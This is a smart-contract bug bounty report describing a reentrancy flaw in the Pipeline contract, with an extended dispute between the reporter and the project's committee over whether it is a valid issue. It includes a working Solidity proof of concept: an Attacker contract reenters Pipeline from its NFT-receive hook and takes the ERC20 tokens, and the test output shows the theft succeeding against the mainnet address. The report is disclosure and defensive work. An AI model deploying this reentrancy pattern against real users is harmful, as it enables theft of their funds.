ūüďĄ

Report #15579

Report Date
January 6, 2023

Allowing reentering into Pipeline can cause loss of assets

‚Ä£
Report Info

Report ID

#15579

Target

Report type

Smart Contract

Impacts

  • Contract fails to deliver promised returns, but doesn't lose value
  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Bug Description

The Pipeline contract allows reentrancy during a series of pipe calls. Specifically, during one of the pipe calls, someone can reenter the Pipeline contract and start executing another series of pipe calls. The person who reenters the Pipeline can take away any assets inside the contract. This will be a security issue if the person who reenters is untrusted by the one who initiates the calls. An example attack scenario is as follows:

  1. A victim wants to execute the following operations in a multiPipe: (a) Receives an NFT from some marketplace (b) Receives some ERC20 from some protocol (c) Sends the NFT to a buyer (d) Continue doing other operations
  2. The buyer then reenters to Pipeline during step (c) (when the onERC721Received function is called) and transfers out the ERC20 tokens inside the Pipeline
  3. The remaining pipe calls continue and finish. As a result, the buyer effectively stole the ERC20 tokens from the victim

Dedaub recently disclosed this reentrancy issue on Uniswap's UniversalRouter (see Reference for more details). Pipeline's design is a more generalized version of UniversalRouter since it aims to chain calls to arbitrary protocols within a transaction. Executing untrusted code or calling function of an untrusted contract during pipe calls is thus certainly possible, which happens when, for example:

  1. Sending ERC721, ERC1155 tokens to a contract
  2. Sending ETH to a contract
  3. Calling transfer on tokens with a transfer hook, e.g., ERC777

Pipeline should be designed to protect users from losing funds due to unexpected code execution from untrusted parties. In such a scenario, the victim correctly uses Pipeline (simply chaining multiple operations), but the outcome is not what they expect.

Impact

Allowing reentering into Pipeline can cause unexpected results and even loss of funds.

Risk Breakdown

Difficulty to Exploit: Weakness: CVSS2 Score:

Recommendation

Add a reentrancy lock to the _pipe and _advancedPipe functions to prevent anyone from reentering the contract during the pipe calls.

References

Proof of concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";

interface IWETH {
    function deposit() external payable;
    function withdraw(uint) external;
}

struct PipeCall {
    address target;
    bytes data;
}

struct AdvancedPipeCall {
    address target;
    bytes callData;
    bytes clipboard;
}

interface IPipeline {
    function pipe(PipeCall calldata p)
        external
        payable
        returns (bytes memory result);

    function multiPipe(PipeCall[] calldata pipes)
        external
        payable
        returns (bytes[] memory results);

    function advancedPipe(AdvancedPipeCall[] calldata pipes)
        external
        payable
        returns (bytes[] memory results);
}

contract SomeERC20 is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}

    function mint(address to, uint256 value) public {
        _mint(to, value);
    }
}

contract SomeNFT is ERC721 {
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }
}

contract Attacker {
    IPipeline public pipeline = IPipeline(0xb1bE0000bFdcDDc92A8290202830C4Ef689dCeaa);
    IERC20 public token;

    constructor(address token_) {
        token = IERC20(token_);
    }

    function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
        console.log("onERC721Received is called");

        // reenter the pipeline and steal the ERC20 tokens in it
        PipeCall memory call = PipeCall(
            address(token),
            abi.encodeWithSignature("transfer(address,uint256)", address(this), 10 ** 18)
        );
        pipeline.pipe(call);
        return this.onERC721Received.selector;
    }
}

contract PipelineTest is Test {
    IPipeline public pipeline = IPipeline(0xb1bE0000bFdcDDc92A8290202830C4Ef689dCeaa);
    SomeERC20 public token;
    SomeNFT public nft;
    Attacker public attacker;

    function setUp() public {
        token = new SomeERC20("test", "TEST");
        nft = new SomeNFT("test", "TEST");
        attacker = new Attacker(address(token));
    }

    function testReenterPipeline() public {
        uint256 tokenId = 1;
        PipeCall[] memory calls = new PipeCall[](3);

        // assume that the pipeline receives an NFT and some ERC20 tokens due to some previous
        // operations, before transferring the NFT to someone else
        calls[0] = PipeCall(
            address(nft),
            abi.encodeWithSignature("mint(address,uint256)", address(pipeline), tokenId)
        );
        calls[1] = PipeCall(
            address(token),
            abi.encodeWithSignature("mint(address,uint256)", address(pipeline), 10 ** 18)
        );
        calls[2] = PipeCall(
            address(nft),
            abi.encodeWithSignature(
                "safeTransferFrom(address,address,uint256)",
                address(pipeline),
                address(attacker),
                tokenId
            )
        );
        // user should continue other operations on the ERC20 tokens here

        pipeline.multiPipe(calls);

        // the ERC20 tokens are stolen by the attacker during the NFT transfer
        console.log("pipeline:", token.balanceOf(address(pipeline)));
        console.log("attacker:", token.balanceOf(address(attacker)));
    }
}

To run the PoC:

anvil -f <RPC_URL>
forge test --fork-url http://127.0.0.1:8545 -vv

Output:

Running 1 test for test/Pipeline.sol:PipelineTest
[PASS] testReenterPipeline() (gas: 153694)
Logs:
  onERC721Received is called
  pipeline: 0
  attacker: 1000000000000000000

BIC Response

The BIC determined that this report outlines expected functionality given that the user must call an "untrusted" contract in order for there to be any potential loss of funds.

Pipeline was built with the philosophy that it is not the smart contract's role to protect users against misuse. See the Risk section of the Pipeline whitepaper: https://evmpipeline.org/pipeline.pdf#section.6

Due to these reasons, we are closing the submission and no reward will be issued.

Reporter Response

given that the user must call an "untrusted" contract

No, users don't have to "explicitly" call an untrusted contract. It's possible that the untrusted contract is called indirectly. For example, a user calls the OpenSea protocol, the OpenSea protocol sends an NFT to a buyer, then the buyer reenters Pipeline.

In such a case, the user doesn't trust the buyer, but why would they execute trades on OpenSea? Because they know OpenSea is designed so that even if the buyer is untrusted, the seller's funds are well-protected as long as the protocol behaves as their expectation, i.e., trade some token for NFT. Imagine a scenario where OpenSea has a reentrancy vulnerability and some users were attacked because of this, should the user take the entire responsibility? Does it belong to the category of user's "misuse" because the buyer is untrusted? (I disagree. It should be OpenSea's responsibility.)

If OpenSea is secure only when users trade with those they trust, its usage is greatly limited. Similarly, suppose Pipeline was designed to let users interact with protocols only they trust, with additional constraints that those protocols cannot interact with any other parties the user does not trust. In that case, the usage of Pipeline is significantly limited, which I believe is not what you designed Pipeline for.

In your previous response, you said Pipeline does not protect users against misuse, which I also agree with. However, is it true that this kind of reentrancy attack must be caused by a user's misuse? I agree that a user "directly" calling an untrusted contract is the user's fault, but how about an indirect call, as I mentioned above? To ensure that we are on the same page, let me provide a concrete example for my previous comment:

  1. The user use Pipeline to execute three actions: (1) Loads an NFT to Pipeline (2) Loads some USDC to Pipeline (3) Fulfills a buy order on OpenSea with the NFT (to receive more USDC) (4) Trades USDC on Uniswap to DAI and send back to themselves.
  2. The malicious buyer reenters Pipeline in step (3) and steals the user's USDC

In this example, which steps from the users do you consider a "misuse" of Pipeline?

  1. If calling OpenSea's fulfill function but sending NFT to an untrusted buyer is a misuse:

I don't think this is a misuse. First, the user is using OpenSea in an OpenSea's expected way. OpenSea does not have the additional requirement that the buyer should be someone trusted. If this function call is not a misuse from OpenSea's perspective, what causes it becomes a misuse if doing this in Pipeline?

  1. If putting USDC in Pipeline before calling OpenSea is a misuse:

Then you should update your documentation and explicitly say that not only leaving assets between transactions would cause a loss of funds but within a single transaction between actions too. The Pipeline whitepaper (https://evmpipeline.org/pipeline.pdf#section.6), Point 1, and the Pipeline code verified on Etherscan (https://etherscan.io/address/0xb1bE0000bFdcDDc92A8290202830C4Ef689dCeaa#code), Line 14, only mentions assets can be stolen between transactions (i.e., after the victim's transaction ends). They didn't say assets can be stolen within a victim's transaction. Users can be attacked if they think this risk will only happen between transactions, but as I proved, it's possible to steal assets within a single transaction.

  1. If calling any protocol that will call any untrusted party is a misuse:

Then you should also update your documentation to warn users. At the time of writing, this risk is not written in the whitepaper's Risk section (https://evmpipeline.org/pipeline.pdf#section.6) as the "majority of known risks". However, this is a risk that can happen in a fairly common use case of DeFi protocols (this is not an exhaustive list):

a. OpenSea and other NFT marketplaces, since they all can trigger the receiving hook on the potentially untrusted buyer.

b. AMMs that can send raw ETH to potentially untrusted users such as Uniswap and Curve.

c. Generally, any protocol that can unwrap WETH to ETH and sends it to potentially untrusted users.

d. Not a protocol but any ERC777 token since they have built-in transfer hooks.

As I mentioned above, if this risk of assets being stolen within a single transaction is what a user should prevent when using Pipeline, the use case of Pipeline would be significantly restricted.

BIC Response

We believe this edge case is defended against in the following manner:

  • It is expected that users transfer assets back out of Pipeline at the end of a call (known as "Unloading" Pipeline). Unloading should be performed such that the amount returned is the amount expected to be received based on the nature of the transaction.
  • In the case where a malicious contract tries to steal assets during a transaction, a proper Unloading step would cause Pipeline to revert.

In practice, this means that the Pipeline user should (1) set safeguards (Unloading) if they don't trust the contract being called or (2) don't set safeguards to reduce gas costs.

This is intentional design decision and based on the above discussion we still believe it is true that any loss of funds (within or between transactions) requires misuse of Pipeline.

Reporter Response

I do agree that unloading assets from Pipeline as the last step can mitigate this issue in some of the use cases, but not all. As you mentioned, users can ensure the amount returned is the amount expected to protect themselves, which I also agree with. However, some DeFi protocols design their APIs with an option of "maximum balance", e.g., withdraw/swap with the maximum balance of the user. This design is especially common in yield strategies or vaults such as Yearn. If the user unloads assets from Pipeline in this kind of "maximum balance" way, they can still be exploited and receive less than expected since there is no expected/minimum amount check.

Of course, one can argue that users should avoid this kind of "maximum balance" operation to prevent them from being hacked. However, knowing the exact amount to receive before the transaction executes is not reasonably practical in common DeFi use cases. One of the most popular operations in DeFi, swap tokens via DEXs, does not guarantee to receive an "exact" amount since the spot price fluctuates. Suppose users want to include a swap during a Pipeline multi-call. In that case, it's highly likely that they cannot know or control the final receiving amount and, therefore, cannot protect themselves using the way you mentioned. (Note that DEXs often provide the "minimum received amount", but it doesn't help in this situation since any assets left in the Pipeline after the user's transaction can be retrieved by anyone).

As a result, if users want to protect themselves by ensuring the exact received amount, they almost (if not always) need to avoid swapping assets on DEXs in their Pipeline calls. Do you consider this an intended limitation of a use case of Pipeline?

BIC Response

This is the purpose of Clipboard:

Clipboard allows users to Copy return values stored as returnData from any AdvancedPipeCalls that have already been executed and Paste them into the callData of the next AdvancedPipeCall, in a customizable manner.

A client can either: (1) Grab the return value from a swap (2) add a balanceOf() call after a swap

And then paste that value into the unload step. This allows users to protect themselves by ensuring they receive the expected amount, or the expected amount above some threshold.

Reporter Response

I'm aware of the usage of Clipboard, but it's unclear how using it in either of the ways you mentioned can help users to ensure receiving the expected amount (and thus avoid being attacked).
A client can either: (1) Grab the return value from a swap (2) add a balanceOf() call after a swap

Method (1): Say the user swaps 1000 USDC to DAI, and the return should be 1000 DAI. Under an attack, the attacker steals 500 USDC before the swap, so the return value from a swap becomes 500. The user then can only unload 500 DAI.

Method (2): In the same scenario of an attack, after the swap, the user calls DAI.balanceOf(address(Pipeline)) and knows that Pipeline has 500 DAI, so they unload 500 DAI.

The key point is: Pipeline does not have built-in logic to let the user "ensure" if they have at least some number of tokens. The user can know the swap return value, as you mentioned, but how can they check it against an expected value? Can you elaborate more on this?

BIC Response

A proper unloading of Pipeline involves Piping asset transfer function calls to transfer assets to desired destinations. Clients can unload a specified amount of assets from Pipeline (based on return values of a previous call as mentioned above, or based on anything of their choosing), and if that step fails, the entire transaction reverts.

Reporter Response

Let me provide a more detailed example of why the defense methods you mentioned do not work. This example is the same as the previous except the user swaps USDC to WETH in the second last step:
  1. The user uses Pipeline to execute five actions: (1) Loads an NFT to Pipeline (2) Loads some USDC to Pipeline (3) Fulfills a buy order on OpenSea with the NFT (to receive more USDC) (4) Trades USDC on Uniswap to WETH (5) Sends back WETH to themselves.
  2. The malicious buyer reenters Pipeline in step (3) and steals the user's USDC

Step (5) is the so-called unloading step, but the question is: How, specifically, should the user unload to protect themselves from this reentrancy attack?

Method 1: If based on the return value from a swap or balanceOf(), users cannot even notice the attack. Normally, say the user can swap 15000 USDC for 10 WETH (the return value is 10 * 10^18). But, under an attack, suppose the attack transfers out 7500 USDC in step (3), the return value becomes 5 * 10^18. If the user blindly chooses the return value of swap or balance to transfer assets out from Pipeline, they, as a result, receive less amount than they should.

Method 2: Transfer out an exact amount of assets to themselves, e.g., call WETH.transfer(user, 10 * 10^18). This is unfortunately not practical since users need to know the exact amount to transfer before the transaction executes, i.e., when submitting the transaction. The price of WETH to USDC can change during the transaction submission time and execution time. This issue happens in the most typical use cases of swaps (or possibly others such as yield aggregators), regardless of whether the user is under attack.

Suppose the user chooses the value of 10 * 10^18. If the price of WETH increases (even slightly), the return value will become less than 10 * 10^18, and the transaction reverts. The user does not lose value, but the possibility of a transaction reverts is quite often, which causes a waste of the user's gas fees and time. This is why, if not all, AMMs and DEXs do not let you specify an exact return value to receive.

If the price of WETH decreases, the return value will become more than 10 * 10**18. The overall transaction to Pipeline succeeds, but there will be assets left in the Pipeline, which can be dust or possibly a significant amount (if the trade is large or the price changes too quickly). As a result, the user also loses their assets since anyone can transfer assets left in the Pipeline.

I think this reentrancy issue is valid, and the two defense methods you mentioned are either ineffective or not practical (even in normal use cases).